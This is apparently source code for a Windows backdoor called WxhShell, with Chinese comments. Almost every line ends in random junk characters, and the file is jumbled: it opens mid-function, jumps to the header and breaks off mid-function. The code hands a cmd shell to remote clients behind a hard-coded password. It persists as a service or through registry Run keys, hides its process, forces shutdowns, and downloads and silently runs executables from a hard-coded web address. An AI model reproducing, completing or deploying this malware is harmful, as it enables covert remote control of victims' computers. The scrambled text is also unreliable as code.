  case 'd': { CDNh9`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uxxS."~  
    if(Boot(SHUTDOWN)) 9d\B*OU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UBgheu  
    else { Xy0KZ !  
    closesocket(wsh); ZwC\n(_y  
    ExitThread(0); |#87|XIJ&~  
    } aUqVcEU1  
    break; -naj.omG|  
    } 62}rZVJq  
  // 获取shell YH:murJMZ  
  case 's': { %[ Z[  
    CmdShell(wsh); w 2o% {n\L  
    closesocket(wsh); <0P7NC:Ci  
    ExitThread(0); xu]>TC1  
    break; j06Xz\c  
  } BEm~o#D  
  // 退出 I^CKq?V?:  
  case 'x': { K+`$*vS~ws  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XOdkfmc+s'  
    CloseIt(wsh); ~> xVhd  
    break; =:4vRq [  
    } jkN-(v(T  
  // 离开 +Kw&XRA d  
  case 'q': { kVH^(Pi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r"%uP[H  
    closesocket(wsh); UP8=V>T02  
    WSACleanup(); 5D~>Ed;  
    exit(1); |t1ij'N  
    break; A.5N<$l  
        } w b@Zna  
  } Sh]g]xR  
  } U1.w%b,  
#fuc`X3:HL  
  // 提示信息 >z,SN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6F@2:]W  
} *Dz<Pi^  
  } 'QMvj` -  
jn+M L&  
  return; kW 7 $  
} 3 zF"GT  
'&|]tu:q  
// shell模块句柄 N9[2k.oBH  
int CmdShell(SOCKET sock) "I7 Sed7  
{ b{Qg$ZJeR  
STARTUPINFO si; No'^]r  
ZeroMemory(&si,sizeof(si)); aS7%x>.A!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x+X^K_*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y!+q3`-%T  
PROCESS_INFORMATION ProcessInfo; q%RPA e  
char cmdline[]="cmd"; +1R qo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =LUDg7P  
  return 0; LK?V`J5wY  
} Q)H1\  
[h3y8O  
// 自身启动模式 x c[BQ|P=  
int StartFromService(void) P XH"%vVF  
{ MV~-']2u  
typedef struct ^EG@tB $<  
{ 7p!w(N?s  
  DWORD ExitStatus; I1TzPe  
  DWORD PebBaseAddress; C4`u3S  
  DWORD AffinityMask; ,^>WC G  
  DWORD BasePriority; q3~RK[OCq  
  ULONG UniqueProcessId; {e3XmVAI  
  ULONG InheritedFromUniqueProcessId; ]t23qA@^2  
}   PROCESS_BASIC_INFORMATION; z1WF@ Ej  
Hf ]w  
PROCNTQSIP NtQueryInformationProcess; {|jrYU.k~  
DM73 Nn^5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z6`oGFq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MmvMuX]#)  
(16U]s  
  HANDLE             hProcess; ?9?eA^X%  
  PROCESS_BASIC_INFORMATION pbi; 6?CBa]QG  
Y XBU9T{r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Vvs:h%H  
  if(NULL == hInst ) return 0; Ep@NT+VnI  
//ZYN2lT4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s*XwU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b')Lj]%;k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =,UuQJ,l  
l5}b.B^w  
  if (!NtQueryInformationProcess) return 0; Rzolue 8  
9qqzCMrI0e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y?^1=9?6  
  if(!hProcess) return 0; '%D$|)  
/{j")  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oI!L2  
@ZD/y %e  
  CloseHandle(hProcess); T9c=As_EM  
n1Y3b~E?E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UT^-!L LB]  
if(hProcess==NULL) return 0; AIx,c1G]K  
dV5aIj  
HMODULE hMod; S!u`V3-s  
char procName[255]; !JkH$~  
unsigned long cbNeeded; X+: >&&9  
`D#3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <K#]1xCA  
[q MFLY$  
  CloseHandle(hProcess); :*{>=BD  
o`!7 ~n  
if(strstr(procName,"services")) return 1; // 以服务启动 \w]c<gM K  
1o;*`  
  return 0; // 注册表启动 e-taBrl;  
} kH)JBx.  
GmA5E  
// 主模块 mp{r$tc  
int StartWxhshell(LPSTR lpCmdLine) iTt#%Fs)4M  
{ e^Ds|}{V  
  SOCKET wsl; r RfPq  
BOOL val=TRUE; !*U#,qY  
  int port=0; >-~2:d\M3  
  struct sockaddr_in door; ]/_GHG9  
Hko(@z  
  if(wscfg.ws_autoins) Install(); g;>M{)A  
${/"u3a_  
port=atoi(lpCmdLine); T%Vg0Y)P;  
Od>^yhn  
if(port<=0) port=wscfg.ws_port; bwo{ Lw~  
6Wos6_  
  WSADATA data; \n @S.Y?P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K-xmLEu  
iz2I4 _N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0'DlsC/`*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S[J=d%(  
  door.sin_family = AF_INET; ;T|y^D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rv ]?qJL  
  door.sin_port = htons(port); Lnk!zj  
+Rtz`V1d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +18)e;   
closesocket(wsl); Y'.WO[dgf  
return 1; K{ s=k/h  
} yxECK&&P0#  
) OqQz7'  
  if(listen(wsl,2) == INVALID_SOCKET) { -*?Y4}mK  
closesocket(wsl); I) $of9   
return 1; )P{I<TBI;  
} 5>XrNc91  
  Wxhshell(wsl); &zCqF=/9U  
  WSACleanup(); u% ^Lu.l_c  
DIk\=[{2q  
return 0; NZ\aK}?~!  
!eoN  
} F4m Q#YlrS  
LNp%]*h  
// 以NT服务方式启动 %^L :K5V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )8c`o  
{ /mB'Fn6)  
DWORD   status = 0; a{lDHk`Wf  
  DWORD   specificError = 0xfffffff; }T?MWcG4  
XsldbN^ 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~IHjj1s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ez2 gy"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nP9@yI*7  
  serviceStatus.dwWin32ExitCode     = 0; + *YGsM`E9  
  serviceStatus.dwServiceSpecificExitCode = 0; BO5gwvyI  
  serviceStatus.dwCheckPoint       = 0; +s6 wF{  
  serviceStatus.dwWaitHint       = 0; ${$XJs4  
2$D *~~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iL-I#"qT,  
  if (hServiceStatusHandle==0) return; eJMD8#  
E)Z$7;N0x  
status = GetLastError(); ~&/|J)}  
  if (status!=NO_ERROR) 26fm }QV  
{ ZCQ7xQD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CI+dIv>  
    serviceStatus.dwCheckPoint       = 0; w8t,?dY  
    serviceStatus.dwWaitHint       = 0; LzEAA{  
    serviceStatus.dwWin32ExitCode     = status; v-85` h  
    serviceStatus.dwServiceSpecificExitCode = specificError; ILUA'T=B0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dqMR<Nl&  
    return; q8:Z.<%8  
  } 9T47U; _)  
GHHErXT\a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qYg4H|6  
  serviceStatus.dwCheckPoint       = 0; vqLC?{i+  
  serviceStatus.dwWaitHint       = 0; 9Z0(e!b4S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WUid5e2  
} /j]r?KAzw  
@!\ g+z_"  
// 处理NT服务事件,比如:启动、停止 [aF?1KxNMt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x@+m _y  
{ -jB1tba  
switch(fdwControl) oZ O 6J-ea  
{ =&*:)  
case SERVICE_CONTROL_STOP: e`Xy!@`_  
  serviceStatus.dwWin32ExitCode = 0; Sti)YCXH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Z@FxW  
  serviceStatus.dwCheckPoint   = 0; XA~Rn>7&H  
  serviceStatus.dwWaitHint     = 0; <zN  
  { S;$@?vF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9.| +KIRb  
  } uQN8/Gy*J  
  return; 47_4`rzy;  
case SERVICE_CONTROL_PAUSE: ?~rF3M.=|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O)MKEMuA  
  break; QD LXfl/  
case SERVICE_CONTROL_CONTINUE: 9&A-o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %zHNX4  
  break; ^4Ra$<  
case SERVICE_CONTROL_INTERROGATE: U,C L*qTF  
  break; 40pGu  
}; ^e$;I8l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N2_j[Pe  
} [L1pDICoy  
>n@?F[Y  
// 标准应用程序主函数 oK h#th  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7?K?-Oj  
{ wTFM:N  
'kc_OvVA  
// 获取操作系统版本 /)SwQgK#  
OsIsNt=GetOsVer(); ?@9kVB*|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r)<]W@ Pr  
:Ia3yi#  
  // 从命令行安装 rE"`q1b#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZVpMR0!  
[ADr _  
  // 下载执行文件 ;YxQo o >  
if(wscfg.ws_downexe) { v*5n$UFV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W|@EKE.k  
  WinExec(wscfg.ws_filenam,SW_HIDE); (US]e un  
} sk!v!^\_r  
Wy%q9x]}  
if(!OsIsNt) { QP|Ou*Qm)  
// 如果时win9x,隐藏进程并且设置为注册表启动 =+q9R`!L]  
HideProc(); zIWw055W  
StartWxhshell(lpCmdLine); SsDz>PP  
} RqW ZhHI1M  
else ll {jE  
  if(StartFromService()) F\+wM*:U  
  // 以服务方式启动 s+>""yi  
  StartServiceCtrlDispatcher(DispatchTable); _`WbR&d2Id  
else * B,D#;6  
  // 普通方式启动 `G\uTCpk  
  StartWxhshell(lpCmdLine); 9|dgmEd  
38! $9)  
return 0; k,M%/AXd  
} 693J?Yah[  
I#Ay)+D  
B:5( sK  
w!)B\l^+c  
=========================================== 6\)61o_1|  
zF%CFqQ  
x^}kG[s  
i]*W t8~!  
 (7x5  
6%NX|4_  
" >`p`^:  
)JE;#m0q  
#include <stdio.h> aksyr$d0V<  
#include <string.h> C$\|eC j  
#include <windows.h> <OF7:f  
#include <winsock2.h> o:_}=1nh  
#include <winsvc.h> s S8Z5k;  
#include <urlmon.h> km'3[}8o&  
Mjq1qEi"B  
#pragma comment (lib, "Ws2_32.lib") 7f#[+i  
#pragma comment (lib, "urlmon.lib") 0\%/:2   
A] pLq`  
#define MAX_USER   100 // 最大客户端连接数 Q,Vv  
#define BUF_SOCK   200 // sock buffer d<. hkNN  
#define KEY_BUFF   255 // 输入 buffer 8 s!0Z1Roc  
8Wid.o-U  
#define REBOOT     0   // 重启 6G G&mqr+  
#define SHUTDOWN   1   // 关机 dlN(_6>b  
aOfL;I  
#define DEF_PORT   5000 // 监听端口 #gi0FXL  
WV!qG6\W  
#define REG_LEN     16   // 注册表键长度 Rj9z '?a9  
#define SVC_LEN     80   // NT服务名长度 )I{41/_YA  
4x.'H18  
// 从dll定义API *PE 1)bF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X>EwJ"q#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jt"0|+g|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !>-cMI6E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0P sp/H%  
v0|A N  
// wxhshell配置信息 fM?HZKo  
struct WSCFG { 0/S|P1!b  
  int ws_port;         // 监听端口 t>f<4~%MJ  
  char ws_passstr[REG_LEN]; // 口令 I\PhgFt@O  
  int ws_autoins;       // 安装标记, 1=yes 0=no M4pE wD  
  char ws_regname[REG_LEN]; // 注册表键名 rOw""mE  
  char ws_svcname[REG_LEN]; // 服务名 !HL7a]PB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (;P)oB"`C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0G1?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6#fl1GdH-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cjsQm6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {S(?E_id5b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \-N 4G1  
7 }>j [  
}; Rtw^ lo  
_Xd,aLoo  
// default Wxhshell configuration z$oA6qB)  
struct WSCFG wscfg={DEF_PORT, z:bxnM2\  
    "xuhuanlingzhe", F"VNz^6laV  
    1, 4m$nVv  
    "Wxhshell", ,x!P|\w.G{  
    "Wxhshell", [sp=nG7i&  
            "WxhShell Service", Rv ?G o2  
    "Wrsky Windows CmdShell Service", 2Ch!LS:+  
    "Please Input Your Password: ", g !w7Yv  
  1, LEvdPG$)  
  "http://www.wrsky.com/wxhshell.exe", G`PSb<h\oc  
  "Wxhshell.exe" mm\Jf  
    }; `o yz"07m  
ct=|y(_  
// 消息定义模块 7(^<Z5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G!T)V2y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RVy8%[Gcq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bwUsE U 0  
char *msg_ws_ext="\n\rExit."; xi8RE@gm  
char *msg_ws_end="\n\rQuit."; E{sTxO I$  
char *msg_ws_boot="\n\rReboot..."; |;ycEB1  
char *msg_ws_poff="\n\rShutdown..."; :XcU@m  
char *msg_ws_down="\n\rSave to "; L B1 ui  
kM|akG  
char *msg_ws_err="\n\rErr!"; AJ`b- $Q  
char *msg_ws_ok="\n\rOK!"; HS.3PE0^C  
LF* 7;a  
char ExeFile[MAX_PATH]; Kf2*|ZHj  
int nUser = 0; dQ@ e+u5  
HANDLE handles[MAX_USER]; ~ z*  
int OsIsNt; >3s9vdUp4h  
cW;to Q!P  
SERVICE_STATUS       serviceStatus; 1u7 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x:b 0G  
KG)7hja<6g  
// 函数声明 ! L:!X88  
int Install(void); /lkIbmV  
int Uninstall(void); HT)b3Ws~M8  
int DownloadFile(char *sURL, SOCKET wsh); ]Gm,sp.x  
int Boot(int flag); xekW-=#a7-  
void HideProc(void); S:/;|Dg  
int GetOsVer(void); }MW*xtGV  
int Wxhshell(SOCKET wsl); n?_!gqK  
void TalkWithClient(void *cs); &10vdAnBRC  
int CmdShell(SOCKET sock); Ke,UwYG2~G  
int StartFromService(void); 55MsF}p  
int StartWxhshell(LPSTR lpCmdLine); 8:0QIkqk  
/ *xP`'T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yv }G"-=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Brr{iBz*"  
&F9BaJ  
// 数据结构和表定义 u*Z>&]W_  
SERVICE_TABLE_ENTRY DispatchTable[] = zM"OateA  
{ VI0^Zq!6R  
{wscfg.ws_svcname, NTServiceMain}, +'Pl?QyH  
{NULL, NULL} 'A .c*<_  
}; VlRN  
YlwCl4hq  
// 自我安装 |`_qmk[:R  
int Install(void) Enm#\(j  
{ //]g78]=O  
  char svExeFile[MAX_PATH]; lHv;C*(_=  
  HKEY key; 8hba3L_Z  
  strcpy(svExeFile,ExeFile); 4]A2Jl E  
|8PUmax  
// 如果是win9x系统,修改注册表设为自启动 `Gzukh  
if(!OsIsNt) { wO&`3Q3~$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^_#0\f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \k/ N/&;  
  RegCloseKey(key); oh:q:St  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  XWV)   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' Dv `Gj  
  RegCloseKey(key); Re-~C[zwT  
  return 0; SkBa- *MC  
    } *T$o" *}  
  } $cEl6(66iX  
} \{@s@VBx[  
else { /R^Moj<  
H!Z=}>TN  
// 如果是NT以上系统,安装为系统服务 _7#Ng@#\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]3wg-p+  
if (schSCManager!=0) sufidi  
{ _"SE^_&c  
  SC_HANDLE schService = CreateService -;&aU;k  
  ( $D +6=m[  
  schSCManager, 34k<7X`I  
  wscfg.ws_svcname, #y%bx<A  
  wscfg.ws_svcdisp, Q( .d!CQ>  
  SERVICE_ALL_ACCESS, J * $u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CdgZq\  
  SERVICE_AUTO_START, 1OK,r`   
  SERVICE_ERROR_NORMAL, <DP_`[+C  
  svExeFile, dqO!p6  
  NULL, _"_ W KlN  
  NULL, ~Z!!wDHS  
  NULL, }UJS*mR  
  NULL, p0~=   
  NULL 9YRoWb{y  
  ); CwZ+P n0  
  if (schService!=0) 2%U)y;$m2  
  { (M5w:qbR  
  CloseServiceHandle(schService); $7eO33Bm  
  CloseServiceHandle(schSCManager); i71 ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  hX?L/yf  
  strcat(svExeFile,wscfg.ws_svcname); !cPiH6eO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IXNcn@tN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); < gB>j\:  
  RegCloseKey(key); h\".TySz  
  return 0; 4wh_ iO  
    } 7;RhA5M  
  } SO%x=W  
  CloseServiceHandle(schSCManager); :L#t?~  
} j@1cllJkh  
} ?rID fEvV  
{E1g+><  
return 1; opxVxjTT#  
} ?nJ7lLQA  
;cd{+0  
// 自我卸载 Yn4c6K  
int Uninstall(void) _Qg^>}]A1  
{ \PU3{_G]  
  HKEY key; 0&T0Ls#4  
2-5AKm@K  
if(!OsIsNt) { fH~InDT^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3&'ll51t  
  RegDeleteValue(key,wscfg.ws_regname); . [DCL  
  RegCloseKey(key); /3->TS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _yY(&(]#  
  RegDeleteValue(key,wscfg.ws_regname); XlIRedZ{  
  RegCloseKey(key); .r[b!o^VR  
  return 0; P.Pw .[:3  
  } =KqcWN3k  
} zJJ KLr;  
} \U;4 \  
else { s$`g%H>  
&}wr N(?w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J.Mj76\_  
if (schSCManager!=0) >(5*y=\i  
{ hO^8CA,5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T)wc{C9w  
  if (schService!=0) m<)0 XE6w  
  { Z&FC:4!!  
  if(DeleteService(schService)!=0) { g*C&Pr3  
  CloseServiceHandle(schService); b:3n)-V{u  
  CloseServiceHandle(schSCManager); 08AC 9  
  return 0; {Ts@#V=:  
  } N<o3pX2i]  
  CloseServiceHandle(schService); ._@Scd  
  } U]j4Izq  
  CloseServiceHandle(schSCManager); su6x okt  
} Jcf'Zw"\  
} {o"X8  
IPmSkK  
return 1; C{>@b:]p  
} 4]9+   
nB"r<?n<  
// 从指定url下载文件 ]jiM  
int DownloadFile(char *sURL, SOCKET wsh) jqxeON  
{ nM:e<`r  
  HRESULT hr; p'UYH t  
char seps[]= "/"; {N1Ss|6  
char *token; wuE]ju<  
char *file; fy04/_,q  
char myURL[MAX_PATH]; ,ButNB v  
char myFILE[MAX_PATH]; `$oGgz6ZT  
4DI.R K9  
strcpy(myURL,sURL); RG/M-  
  token=strtok(myURL,seps); h- .V[]<  
  while(token!=NULL) 3qOq:ZkQ  
  { (7BG~T  
    file=token; Poy ]5:.  
  token=strtok(NULL,seps); fP>_P# gZ  
  } 0VC8'6S_k  
owL>w  
GetCurrentDirectory(MAX_PATH,myFILE); ry9%Y3  
strcat(myFILE, "\\"); ~qQSt%  
strcat(myFILE, file); 58\rl G  
  send(wsh,myFILE,strlen(myFILE),0); v#*9rNEj0  
send(wsh,"...",3,0); WNSf$D{p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ETvn$ Jdp  
  if(hr==S_OK) %,f|H :+>u  
return 0; vmdu9"H  
else h(]aP<49L  
return 1; Dyv 6K_,  
v}p'vh^8B  
} xCwd*lsM  
+c4]}9f!  
// 系统电源模块 N*z_rZE  
int Boot(int flag) ']1\nJP[=X  
{ ?"f\"N  
  HANDLE hToken; q<(yNqMKP  
  TOKEN_PRIVILEGES tkp; [uCW8:e  
O="# yE)  
  if(OsIsNt) { 8 tMfh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QA?e2kd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;;rEv5 /  
    tkp.PrivilegeCount = 1; f)w>V3~w,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sv`+?hjG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ipU,.@~#  
if(flag==REBOOT) { SA_5..  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =au7'i|6  
  return 0; kBolDPvBG  
} v0euvs  
else { )X-b|D4O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `Wq4k>J}*  
  return 0; U-/-aNJ]U  
} @+II@[ _lT  
  } iu!j#VO  
  else { _kUf[&  
if(flag==REBOOT) { @IL_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =d>^q7s  
  return 0; Zwj\Hz.  
} E>|[@Z  
else { S1oRMd)r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vi?{H*H4c  
  return 0; ~lO^ C  
} Z)E[Bv=  
} 6 ,jp-`  
u,AZMjlF  
return 1; oE:9}]N_  
} bOR1V\Jr$q  
N&g9z{m7  
// win9x进程隐藏模块 VZ"W_U,  
void HideProc(void) } :U'aa  
{ dx['7l;I  
f9v%k'T[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ={& }8VA  
  if ( hKernel != NULL ) ~=HrD?-99p  
  { 1.\|,$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3S4'x4*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <P&~k\BuF{  
    FreeLibrary(hKernel); H9nVtS{x  
  } 9W{`$30  
LASR*  
return; .)Xyz d  
} Vk%[N>  
I| j Gu9G  
// 获取操作系统版本 q{D_p[q  
int GetOsVer(void) b0W~*s [4  
{ )Los\6PRn  
  OSVERSIONINFO winfo; r|!w,>.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CZ2&9Vb9I  
  GetVersionEx(&winfo); S!!i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EHpIbj;n  
  return 1; qMy>: ,)Z  
  else p H&Tb4  
  return 0; &t .9^;(  
} AIZs^ `_  
?VC[%sjwn  
// 客户端句柄模块 G#{ Xd6L  
int Wxhshell(SOCKET wsl) ",wv*z)_>  
{ . ] =$((  
  SOCKET wsh; @0}Q"15,I  
  struct sockaddr_in client; i=b<Mz7|  
  DWORD myID; s9t`!  
AKW M7fI  
  while(nUser<MAX_USER) e}|UVoeH  
{ 2c?-_OCy;  
  int nSize=sizeof(client); s7j#Yg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aju!Aq54G  
  if(wsh==INVALID_SOCKET) return 1; Y:|_M3&'o  
piq1cV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T\;7'  
if(handles[nUser]==0) .iK{=L/(y  
  closesocket(wsh); QLNQE6-  
else Pl|e?Np  
  nUser++; {&tbp Bl#  
  } + 3+^J?N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fq*. 4s #  
?-"xP'#  
  return 0; E]G#"EV!Y  
} ?UD2}D[M  
k-5Enbkr  
// 关闭 socket 0*?/s\>PS;  
void CloseIt(SOCKET wsh) EW;R^?Z  
{ a.P7O!2Lp  
closesocket(wsh); 7A7=~:l\G  
nUser--; 5Ym/'eT  
ExitThread(0); [S{KGe:g  
} $dr=M (&  
 ByP  
// 客户端请求句柄 [x}]sT`#a  
void TalkWithClient(void *cs) 34Q;& z\e  
{ c\2+f7o@  
`[T|Ck5  
  SOCKET wsh=(SOCKET)cs; N}ur0 'J0  
  char pwd[SVC_LEN]; ! Jh/M^  
  char cmd[KEY_BUFF]; k-;%/:Om  
char chr[1]; ]Z/<H P$#  
int i,j; z#qlu=  
7:fC,2+  
  while (nUser < MAX_USER) { 0bY}<x(;  
sTu6KMn  
if(wscfg.ws_passstr) { tvNh@it:F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Q@ &z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CiE  
  //ZeroMemory(pwd,KEY_BUFF); h-0sDt pR  
      i=0; 'FB?#C%U  
  while(i<SVC_LEN) { 6=V&3|"  
T /iKz  
  // 设置超时 Yh`P+L  
  fd_set FdRead; p-]vf$u  
  struct timeval TimeOut; &\(p<TF  
  FD_ZERO(&FdRead); W/*2I3a  
  FD_SET(wsh,&FdRead); ,TrrqCw>  
  TimeOut.tv_sec=8; dP8b\H  
  TimeOut.tv_usec=0; $umh&z/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WfbG }%&J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y02 cX@K6  
}6#lE,\lM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z i-)PK^  
  pwd=chr[0]; >T*/[{L8;  
  if(chr[0]==0xd || chr[0]==0xa) { U68o"iE  
  pwd=0; lR5< G  
  break; Wn*>h'R  
  } +5n,/YjS`  
  i++; xO8-vmf2  
    } :1Jg;G  
#{973~uj  
  // 如果是非法用户,关闭 socket Xg>nb1e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R"Q=U}?$  
} \x JGR!  
.h)o\6Wq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uyr56  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 yH/5'  
)6?(K"T  
while(1) { a]NQlsE}l  
dZnAdlJ  
  ZeroMemory(cmd,KEY_BUFF); m/#)B6@A  
A%H"a+  
      // 自动支持客户端 telnet标准   ICSi<V[y1  
  j=0;  $$E!u}  
  while(j<KEY_BUFF) { 2{!o"6t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [t^Z2a{  
  cmd[j]=chr[0]; 7CfHL;+m<4  
  if(chr[0]==0xa || chr[0]==0xd) { O`2;n.>\  
  cmd[j]=0; EsA)o 5  
  break; N(<4nAE  
  } ElNKCj<M  
  j++; c"X`OB  
    } ^l\U6$3  
&WW|! 6  
  // 下载文件 I;dc[m  
  if(strstr(cmd,"http://")) { )bc0 t]Fs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H]@M00C  
  if(DownloadFile(cmd,wsh)) [}snKogp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh3PEq   
  else _tE`W96J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJev_mj  
  } 0pP;[7k\  
  else { zUg-M  
